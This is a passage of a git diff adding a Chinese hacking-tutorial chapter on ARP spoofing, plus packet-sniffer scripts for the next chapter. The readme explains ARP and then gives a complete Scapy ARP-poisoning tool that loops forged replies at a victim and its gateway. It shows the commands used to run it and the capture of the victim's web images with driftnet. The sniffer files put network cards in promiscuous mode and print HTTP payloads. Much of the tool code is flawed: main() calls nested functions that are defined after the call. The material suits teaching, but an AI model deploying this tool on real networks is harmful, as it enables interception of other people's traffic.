ARP\346\254\272\351\252\227/img/19.png" "b/3.5 ARP\346\254\272\351\252\227/img/19.png" new file mode 100644 index 0000000..833b9d8 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/19.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/2.png" "b/3.5 ARP\346\254\272\351\252\227/img/2.png" new file mode 100644 index 0000000..5540aea Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/2.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/3.png" "b/3.5 ARP\346\254\272\351\252\227/img/3.png" new file mode 100644 index 0000000..72d6868 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/3.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/4.png" "b/3.5 ARP\346\254\272\351\252\227/img/4.png" new file mode 100644 index 0000000..ee5587f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/4.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/5.png" "b/3.5 ARP\346\254\272\351\252\227/img/5.png" new file mode 100644 index 0000000..35f0d25 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/5.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/6.png" "b/3.5 ARP\346\254\272\351\252\227/img/6.png" new file mode 100644 index 0000000..2ea6115 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/6.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/7.png" "b/3.5 ARP\346\254\272\351\252\227/img/7.png" new file mode 100644 index 0000000..a0d1e1f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/7.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/8.png" "b/3.5 ARP\346\254\272\351\252\227/img/8.png" new file mode 100644 index 0000000..8181aff Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/8.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/9.png" "b/3.5 ARP\346\254\272\351\252\227/img/9.png" new file mode 100644 index 0000000..a3fe1a3 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/9.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/readme.md" "b/3.5 ARP\346\254\272\351\252\227/readme.md" new file mode 100644 index 0000000..ce21c37 --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/readme.md" @@ -0,0 +1,511 @@ +## 3.5 ARP欺骗 + +是时候再重新拿出七层模型的图了。 + + + +前面的socket编程工作在网络层和传输层,本节要讲解的ARP欺骗工作在数据链路层(网络接口层)。 + +在TCP/IP协议族中,数据链路层主要有三个目的: + +1. 为IP模块发送和接收数据 + +2. 为ARP模块发送ARP请求和接收ARP应答 + +3. 为RARP模块发送RARP请求和接收RARP应答 + +这里需要强调一点的是,arp和rarp协议划分到数据链路层还是网络层都可以,我们将其划分在数据链路层,希望同学们不要在这个问题上争论。下面我们先来了解下ARP和RARP协议的基本内容和工作原理。 + +### 3.5.1 ARP协议 + +(参考:https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE) + +在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。 + +另外,当发送主机和目的主机不在同一个局域网中时,即便知道对方的MAC地址,两者也不能直接通信,必须经过路由转发才可以。所以此时,发送主机通过ARP协议获得的将不是目的主机的真实MAC地址,而是一台可以通往局域网外的路由器的MAC地址。于是此后发送主机发往目的主机的所有帧,都将发往该路由器,通过它向外发送。这种情况称为委托ARP或ARP代理(ARP Proxy)。 + +#### 数据包结构 + +地址解析协议的消息格式很简单,仅包含单一的地址解析请求或响应。ARP 消息的长度取决于上下两层地址的大小,上层地址由所使用的网络协议类型(通常是 IPv4)决定,下层地址则由上层协议所使用的硬件或虚拟链路层的类型决定。消息的报头中包含了这些类型以及对应的地址长度信息,此外还包含了表示请求(1)和应答(2)的操作码。数据包的有效负载为收发双方的硬件地址、协议地址,总计四个地址。 + +为了把IP地址映射到48位以太网地址用于传输,需要一个体现地址转换协议的包格式。 + +完整的Arp协议如下图所示: + + + +各字段解释如下: + +``` +目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。 +源以太网地址:发送方MAC地址。 +帧类型:以太类型,ARP为0x0806。 +以太网报文数据 +硬件类型:如以太网(0x0001)、分组无线网。 +协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。 +硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。 +协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。 +操作码:1为ARP请求,2为ARP应答,3为RARP请求,4为RARP应答。 +源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。 +源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。 +目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。 +目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。 +``` + +#### 工作原理 + +在每台安装有TCP/IP协议的计算机或路由器里都有一个ARP缓存表,表里的IP地址与MAC地址是一对应的,如下表所示: + + + +以主机A(192.168.38.10)向主机B(192.168.38.11)发送数据为例。 + +1. 当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到就知道目标MAC地址为(00-BB-00-62-C2-02),直接把目标MAC地址写入帧里面发送就可。 +2. 如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播(ARP request),目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“192.168.38.11的MAC地址是什么?” + +3. 网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应(ARP response):“192.168.38.11的MAC地址是00-BB-00-62-C2-02”,此回应以单播方式。这样,主机A就知道主机B的MAC地址,它就可以向主机B发送信息。同时它还更新自己的ARP高速缓存(ARP cache),下次再向主机B发送信息时,直接从ARP缓存表里查找就可。 + +ARP缓存表采用老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可减少缓存表的长度,加快查询速度。 + +免费ARP(gratuitous ARP),他是指主机发送ARP查询(广播)自己的IP地址,当ARP功能被开启或者是端口初始配置完成,主机向网络发送免费ARP来查询自己的IP地址确认地址唯一可用。 + +作用: + + 确定网络中是否有其他主机使用了IP地址,如果有应答则产生错误消息。 + 免费ARP可以做更新ARP缓存用,网络中的其他主机收到该广播则在缓存中更新条目,收到该广播的主机无论是否存在与IP地址相关的条目都会强制更新,如果存在旧条目则会将MAC更新为广播包中的MAC。 + + +可以使用 + +``` +arp -a +``` +来查看本节ARP缓存表。 + + + + +建议同学们使用Wire Shark 抓包(真机或者配合gns3)来学习ARP协议。为了产生ARP报文,需要清空ARP缓存。 + + + + +### 3.5.2 RAPP协议 + +逆地址解析协议(Reverse Address Resolution Protocol,RARP),是一种网络协议,RFC903中描述了RARP。RARP使用与ARP相同的报头结构相同,作用与ARP相反。RARP用于将MAC地址转换为IP地址。其因为较限于IP地址的运用以及其他的一些缺点,因此渐为更新的BOOTP或DHCP所取代。 + +#### 数据包结构 + +类似于ARP的报文格式主要差别在于帧类型代码为0x8035(ARP为0x0806),操作码为3请求(ARP为1),4应答(ARP为2)。 + +#### 工作原理 + +1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址; +2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址; +3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用; +4. 如果不存在,RARP服务器对此不做任何的响应; +5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。 + +RARP在原理上很简单但是实现比较复杂,由于RARP的请求是在硬件层上的广播这因此这不能通过路由转发,因此在每个网络都要实现以个RARP服务器。另外在同一网络种不同主机可能会同时进行RARP请求,增大了冲突的概率。 + + +### 3.5.3 ARP欺骗原理 + +ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。 + +局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。 + +ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。 + +根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种: + +1. 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗 +2. 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗 + + + +其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。 +了解了基本原理之后,我们下面动手实现ARP欺骗程序。 + +为了方便测试,笔者将本节以Kali Linux作为实验环境。 + +### 3.5.2 基本网络信息 + + +首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。 + + + +如上图,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。 + + + +下面再用同样的方法查看Windows 系统的信息。 + + + +windows本身地址为192.168.1.18,同样缓存了路由器的地址。 +下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。 + +### 3.5.3 构造ARP欺骗数据包 + +我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。 + +ARP欺骗的方式分为定向欺骗和广播欺骗两种。 + +#### 3.5.3.1 定向欺骗 + +现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的: + +``` +pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1.18MAC, pdst=1.18IP地址, op=2) +``` +上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被 1.18 接到,这样 1.18会更新自己的ARP缓存表,造成中毒,从而 1.18 发往网关的数据包都会被发往 1.102。 + +那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可: + +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=2) +``` +上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。 + +ARP请求的方式欺骗主机,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1) +``` +ARP请求的方式欺骗网关,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=1) +``` +我们看到构造ARP请求和响应的主要区别在op的值。 + +#### 3.5.3.2 广播欺骗 + +目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。 + +广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。 + +下面是ARP广播响应包的构造方式: +``` +pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) +``` +最后综合定下和广播欺骗的方式,我们总结一个公式出来: +``` +pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化 +``` +记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2)) + +概念有点绕,实践出真知,稍后我们通过代码来加深理解。 + +### 3.5.4 编写自己的ARP欺骗工具 + +新建arp.py文件,添加如下代码,先导入我们需要的模块: +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + +if __name__ == '__main__': + main() +``` + +上面的代码是arp欺骗工具的入口,我们使用optparse模块中的OptionParser类来格式化用户输入和用法提醒,该模块的使用参见 https://www.jianshu.com/p/bec089061742。我们这里给用户设置了四个配置项,分别为: + +``` + -i INTERFACE 请指定网卡 + -t TARGET 请指定要欺骗的目标主机 + -m MODE 毒化模式: requests (req) or replies (rep) [default: req] + -s 显示数据包发送信息 +``` + +运行结果如下: + + + +下面我们通过代码 + +注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。 + +接下来我们调用get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。继续完善代码: + +```Python +......(略) +if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) +mac = get_if_hwaddr(options.interface)#获取本机mac地址 +print('本机mac地址是%s' %mac) +``` + + +接下来对 -m 和 -s 参数做逻辑处理: + +```Python +....(略) +mac = get_if_hwaddr(options.interface) +print('本机mac地址是%s' %mac) + #处理参数 + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + pass + + def build_rep():#构造响应数据包 + pass +``` +mode参数用户可以传入 req(构造arp请求数据包)或者 rep(构造响应数据包)。下面我们定义了build_req()和build_rep()两个方法分别构造对应的数据包。注意这两个方法是main方法的子方法。如果希望输出数据包信息(-s),在输出之后要进一步确认是否继续执行arp 欺骗。 + +下面我们来实现build_req()方法: + +```Python +def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt +``` + +在上面的代码中,我们组合Ether和ARP方法来生成arp数据包。我们先解下Ether的参数: + + + +构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如: + + + +再来了解下ARP构造函数的参数列表: + + + +构造ARP需要我们注意的有5个参数: + + op。取值为1或者2,代表ARP请求或者响应包。 + + hwsrc。发送方Mac地址。 + + psrc。发送方IP地址。 + + hwdst。目标Mac地址。 + + pdst。目标IP地址。 + +如果用户在终端中没有传入目的ip则构建广播包,否则为定向欺骗数据包。下面是build_rep()方法的实现: + +```Python + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt +``` + +build_rep()方法和build_req()方法基本相同,注意Ether的dst参数和ARP的op参数(op=2为arp响应包)。 + +```Python +while True: + + sendp(pkt, inter=2, iface=options.interface) +``` + +数据包构造完毕之后,就可以循环发送直到达到欺骗目的。因为构造的是以太网数据包,所以使用sendp()方法来对外发送。 + +目前为止,我们已经编写了一个完整的ARP欺骗工具,完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() +``` + +### 3.5.5 简单测试 + +在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令: + +``` +sysctl net.ipv4.ip_forward=1 +``` + +Windows系统中IP转发功能默认是关闭的。 +开启方法: + +1. 开始运行里面输入regedit 打开注册表编辑器(以管理员身份运行) +2. 在注册表定位下面注册表项 +HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters +3. 选择下面的项目: +IPEnableRouter:REG_DWORD:0x0 +4. 找到项目鼠标右键修改数值为1 + + +下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102。 + +``` +python arp1.py -i eth0 -t 192.168.1.18 192.168.1.102 +``` + +再打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102。 +``` +python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18 +``` +一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化: + + + +对比之前的arp缓存查询结果,可以判定arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。 + + + +下面在1.18上随便打开一个带有图片的网页。 +然后在监听机器上打开drifnet,我们可以看到捕获的图片信息。 + + + + +### 3.5.6 小结 + +本节我们学习了ARP协议基本内容,通过分析协议得出ARP欺骗的原理,在此基础上实现了arp欺骗工具。本节的作业如下: +1. 基于本文内容,实现自己的arp欺骗工具 +2. 思考在arp欺骗的基础上,能进一步实现哪些高级功能 + +下一节,我们一同学习网络嗅探的基本原理,并实现一个监听器。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + + + + + + + + + diff --git a/3.5.pdf b/3.5.pdf new file mode 100644 index 0000000..da493ec Binary files /dev/null and b/3.5.pdf differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" new file mode 100644 index 0000000..7afc55d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" new file mode 100644 index 0000000..2dfe0bf --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" @@ -0,0 +1,55 @@ +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" new file mode 100644 index 0000000..2081d69 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') + \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" new file mode 100644 index 0000000..e7b7f68 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" @@ -0,0 +1,31 @@ +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" new file mode 100644 index 0000000..be4dd20 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" new file mode 100644 index 0000000..d613585 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" new file mode 100644 index 0000000..13dcf14 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" new file mode 100644 index 0000000..4adcce7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" new file mode 100644 index 0000000..bfc7d1b Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" new file mode 100644 index 0000000..2cdc783 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" new file mode 100644 index 0000000..e61e5f7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" new file mode 100644 index 0000000..aec2fe3 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" new file mode 100644 index 0000000..8b395b7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" new file mode 100644 index 0000000..27758f4 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" new file mode 100644 index 0000000..7cbf95e Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" new file mode 100644 index 0000000..a45a60a Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" new file mode 100644 index 